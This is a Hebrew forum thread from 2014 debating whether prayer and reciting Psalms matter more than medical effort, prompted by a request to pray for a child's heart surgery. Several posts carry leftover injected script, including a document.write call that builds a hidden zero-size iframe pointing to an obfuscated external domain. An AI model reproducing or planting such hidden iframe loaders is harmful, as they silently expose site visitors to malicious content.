| נשלח ב-10/1/2014 15:49 |
 |
| |
החלק החשוב יותר בניתוח
מתוך מייל שקיבלתי הבוקר.
בוקר טוב, הבן שלי, מנחם מענדל, עובר ברגעים אלה ניתוח לב פתוח מורכב, עם החלמה ארוכה.. כיון שאת תפקיד המנתח כבר מאייש מישהו רציתי לבקש שתעזרו לי עם החלק החשוב יותר בניתוח - התפילה. למטה מצורפים מספר פרקי תהילים לאמירה לזכות הבן שלי. אם תוכלו לומר לזכותו פרק אחד או שנים זה מאד מאד יעזור! לאחר אמירת פרקי התהילים יש לומר "להצלחת הניתוח של מנחם מענדל בן שמחה" ועוד ברכות/בקשות כיד הדימיון הטובה עליכם (הדימיון שלי פשוט מוגבל כרגע). אמירת תהילים שקול כנגד קיום כל התורה כולה ולכן אני בטוח שזכות אמירת התהילים שלכם תועיל בצורה הכי טובה שיכולה להיות. בשורות טובות!
הדברים מדברים בעד עצמם, אך כדי שיעמדו בקריטריונים של עצכ"ח אנסה לפרט יותר.
האם זו אמונתם של שומרי התורה בכלל?
האם אלו המאמינים כך, ניסו לנתח (תרתי משמע) זאת ברמה עובדתית, או שכך נגלה להם משמים?
כאשר תעמוד בפני מאמין מסוג זה הברירה בין מנתח מומחה ללא אפשרות תפילה או ההיפך, במה יבחר?
|
|
|
|
| נשלח ב-17/1/2014 13:25 |
|
| |
שום סתירה.
זה לא שמול א' (אלוהים) וב' (אדם) עומד אויב ג' (מחלה).
אלא שאלוהים הביא על אדם מחלה. והאדם (שאלוקים בראו והוא מחיה אותו) מנסה להתמודד עם המחלה שאלוהים גזר עליו, בדרכי רפואה (מי שהולך לרופא) ותפילה (מי שמתפלל), ועצם ניסיונו להעזר גם הוא בכוחות הבורא שבתוכו. ככה שאין להפריד בין השלבים. כולם אלוהיים. ופעמים שהאלוהים רוצה לרפאו דרך הרפואה וגם\או התפילה ופעמים שרוצה להמיתו או להחלותו יותר דרך הרפואה וגם\או התפילה.
ושוב תישאל השאלה ובצדק - לשם מה מתפללים, אם כך, והיא נענתה באשכולות אחרים. אך היא אכן עולה מאד מדברים אלו.
|
|
|
|
| נשלח ב-17/1/2014 13:16 |
|
| |
| יוםוליל כתב: |  | המחלה אינה אויב משותף לאדם ולאלוהים. בעיני גם המחלה היא אלוהית. |
|
שמתה לב לסתירה ? המחלה אויב משותף ומצד שני הוא (המחלה) אלוהית ?
ובכן המשפט הראשון נכון מאוד. כל אקראיות היא אויב של האדם. והאלוהים משחק בקוביה בכדי שנוכל להיות כמותו האלוהים ברא את היקום אקראי (=תהו ובוהו) והתבונה האלוהית דורשת לעשות סדר ולא להיות אקראיים תחת הברירה הטבעית. ולכן אומר הנביא (איכה ג' לח') "מפי עליון לא תצא הרעות והטוב" מפרשים חז"ל אמר רבי יוחנן מיום שאמר הקב"ה (דברים ל') ראה נתתי לפניך את החיים ואת הטוב וגו' לא יצא רעה וטובה מפיו אלא הרעה באה מאליה לעושה רע והטוב לעושה טוב לפיכך מה יתאונן למה יתרעם האדם אם לא על חטאיו:
מכאן נבין שהיקום אקראי ובתפקידינו היא לא להיות אקראים ח"ו
|
|
|
|
| נשלח ב-17/1/2014 11:52 |
|
| |
המחלה אינה אויב משותף לאדם ולאלוהים. בעיני גם המחלה היא אלוהית. העזרות ברופא אינה נבדלת מהאלוהים. זה לא שההשתדלות היא אנושית, מחלקה נפרדת וכשהסתיימה - מתחילה מחלקה 2 אלוהית. בראייתי, כל השתדלות מונעת מכוחות אלוהיים שבנו (כפי שרמז חזק בהערת סוגריים, אך ביתר דבריו התעלם ממנה). יוזמה, רצון, היעזרות - כל אלו אלוהיים, כמו העזרה שלו אחריהם או לפניהם, כמו אי העזרה שלו לפניהם או אחריהם.
לא רק ההחלמה והצלחת המסחר הן שמימיות. גם הפטירה וכשלון העסק באו מידו הפתוחה והרחבה. וכאן יש הרבה מקום לשאלה, אם כך - לשם מה להתפלל וכבר דובר על כך באשכולות אחרים בהרחבה הרבה בעבר. ואת ידיו של הרופא הקטן והגדול המצליחות או נכשלות מניע האלוקים. ואת ידיו וטלפונו וראשו וליבו של הנעזר בהם, ושל הלא נעזר בהם. הבעייתיות כאן בעיני, היא בהפרדה בין אדם לאלוהים חיצוני בלבד, ובין השתדלות לתוצאה, וגם בראיה של תפילה ככספומט מביא הכנסות.
|
|
|
|
| נשלח ב-14/1/2014 23:11 |
|
| |
צריך גם להשתדל ככל האפשר ולא לסמוך על הנס בכלל ובמקביל להתפלל.
זה נלמד מפורשות מהתנהלות אברהם עם שרה במצרים ואצל אבימלך.
אצל יצחק שחפר בארות והתפרס ולא חיכה שיתנו לו מלגה מהכוילל
וכמובן יעקב בהתנהלותו מול לבן עשיו ובמעשה יוסף.
|
|
|
|
| נשלח ב-14/1/2014 14:27 |
|
| |
| ייתכן כתב: | | | כאשר תעמוד בפני מאמין מסוג זה הברירה בין מנתח מומחה ללא אפשרות תפילה או ההיפך, במה יבחר? |
|
מה שמצחיק בשאלתך היא, שהקהילה היחידה בעולם שלא מקבלת את דברו של המערכת ועושה הכל להגיע למומחה אפי' הוא נמצא בפינה אחרת בעולם ?! הם החרדים !!
אז אם כבר התפקחות ?! אז אנא,,,
לגבי היד שנתת לירוחם ? אני נותן לך יד הפוכה 
תוקן על ידי maxmen ב- 14/01/2014 14:28:22
|
|
|
|
| נשלח ב-14/1/2014 11:38 |
|
| |
דברי, מיימוני, לא היו מתוך מחלוקת אתך, אלא לחדד מה שעולה מדבריך.
לעצם שאלת השיחה, אדם צריך לפעול ככל יכולתו להצלחת ענינו, כאילו אין כלל אלהים, כדי שלא יתנה את האלהים באיזה דבר ולא יצפה ממנו לאיזה דבר, שהוא מין של התניה. כי התניה היא עזות מצח כלפי האלהים. אבל יתפלל לאלהים מתוך ענווה כמי שמכיר ומודה שאינו אדון על עולמו.
עודד
|
|
|
|
|
| נשלח ב-14/1/2014 00:12 |
|
| |
עודד וולאנד
יפה הערת ואיני חולק עליך (למעט בדבר אחד שיבואר לקמן).
יש להבדיל בין תכונותיו של האדם והפסיכולוגיה שלו - ובזה לדעתי נכון לומר על האדם שהוא היצור המתפלל (וכבר כתב כן בעל "עלי שור" הרב וולבה ע"ה).
לבין השאלה אם יש אלוקים ואם ישנו האם הוא שומע תפילה.
אני כן סבור שהאדם המתפלל זקוק שאמונתו תהיה אמיתית. אם יתברר לו שהוא מאמין בטעות, בוודאי שעדיף לו להישאר עם אמונתו. אבל זה לא אומר שאדם אינו רוצה את האמת.
בכל אופן לעניינו של אשכול, הרי האשכול נפתח בשאלה מה חשוב ממה, השתדלות או תפילה, ותשובתי באה לסקור גישות שונות במסורת, שאמנם לא כולן שוות בעיני ויש בהן נכונה ויש בהן מוטעית.
מכאן התגלגל הדיון לאבחנות לגבי הפסיכולוגיה האנושית וכפי שכתבת. וכפי שתראה, אין לי שום מחלוקת עמך. ואם נתתי בדברי מקום לחשוב אחרת, טוב שהוספת את דבריך.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/1/2014 21:30 |
|
| |
מימוני, דיון על האדם כ'חי מתפלל' אינו עוסק באמונה אלא בפסיכולוגיה של מאמינים. אלו שני דברים שונים, רבים טועים בזה. אדם חש, בעוצמה מסוימת, כי תפילתו נענתה או נדחתה. אדם המצוי במצוקה מבקש רחמי שמים וחסדי שמים. הוא פונה גם למתווכים שיעזרו לו בהשגת הנחוץ. תפילה עשויה להעניק הרבה מאד כח פנימי לאדם במה שהוא חש ביכולתו להגיע אל האלהים, לדבר אליו, לזכות בהקשבתו. אבל כל הדברים האלו מלמדים על העולם הפנימי של המאמינים, ואינם מלמדים דבר על האלהים ועל היחס אלהים - אדם - עולם. משום הצורך הפנימי החריף מאד, מעורר הדיון העיוני - עניני תחושה של ריחוק, קור, ורתיעה. הצורך מבקש את הנחמה והעידוד, לא את האמת.
עודד
|
|
|
|
| נשלח ב-13/1/2014 12:30 |
|
| |
מיכי
1. אותה תמיהה
2. אם אמירת תהלים מועלת כת"ת ולא כתפילה אזי על תהלים קשה יותר (כי יש שיבינו איך תפילה על אחר מועלת - כמובן שהרבה תלוי בעצם הבעיה איך תפילה מרככת ליבו של מקום - ולא יבינו את המסחר בשכר מצווה מאדם לחבירו)
|
|
|
|
| נשלח ב-13/1/2014 09:23 |
|
| |
אבחנה שמשום מה אינה ברורה מספיק בדברי חלק מהמגיבים.
יש להבדיל בין האופן שבו העולם מתנהל, ולגבי זה יש תיאוריות שונות, לבין האופן שבו מתנהגים אנשים שונים ומגזרים שונים בהיסטוריה הקרובה והרחוקה,עד זמננו זה.
נכון שיש טעם לבדוק אם גישה מצליחה לחנך אנשים שייצגו אותה ביושר, אבל ערך האמת של שיטה (=השאלה אם מה שהשיטה טוענת זה נכון) אינו תלוי בהתנהגות אנושית.
בני אדם מועדים לכשלון ושואפים לגדולות. כאלו אנחנו.
תוההה
ברוך השב!
בוודאי שיש תיאוריות רבות שאינן שוללות מציאות אלוקים ואינן מכירות בתועלת שבתפילה. למרות שאני עצמי חש שהיו לי תפילות שנענו, זה לא משהו שאני יכול להוכיח. איני אומר שזו רק חויה. אני כן אומר שמבין סוגי ההוכחה המוכרים לי, איני יכול להציע הוכחה סבירה (כזו שהיתה מצדיקה השקעה בבורסה) אבל אני כן יכול להמליץ על גישה כזו כדרך של חיים. והדברים טעונים הרחבה. ואני מעדיף לשמרם לאשכול שיעסוק במהותו של האדם כחי מתפלל, ואין זמני בידי לפתוח אשכול כזה היום.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/1/2014 09:14 |
|
| |
תלמיד, במה זה שונה ממתפלל על חברו?
|
|
|
|
| נשלח ב-13/1/2014 07:50 |
|
| |
כדי לתהות על תעשיית התהילים אין צורך לתהות על עצם ההשגחה במובנה הקלאסי. די לתהות אם טוביה זוג תהילים וזינגיד ניצל
|
|
|
|
| נשלח ב-12/1/2014 16:58 |
|
| |
| מיימוני כתב: | |
א. הגישה האתאיסטית. מי שאינו מאמין שיש אלוקים (או שאינו מאמין שהוא משגיח ואכפת לו, או שהוא שומע תפילה) בוודאי יסבור שאין שום טעם בתפילה (אלא כסיוע פסיכולוגי).
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לא צריך להיות "מי שאינו מאמין שיש אלוקים" בשביל לסבור שאין טעם לתפילה. צריך רק לסבור "שההשגחה האלוהית אינה בעולם הזה השפל" כדבריו של הרמב"ם במורה חלק ג-יז. ומה עניין תפילה לשכל.
|
|
|
|
| נשלח ב-12/1/2014 15:31 |
|
| |
כפי שאומרים עורכי הדין. בשעת נצחון= ניצחנו. בהפסד- הפסדת
|
|
|
|
| נשלח ב-12/1/2014 15:24 |
|
| |
נסיון אישי
כאשר אני מצליח ומוציא ללקוח חשבון הוא טעון שלא אני האחראי אלא הקב"ה
כאשר ההצלחה פחותה - לא הקב"ה אחראי אלא אני
|
|
|
|
|
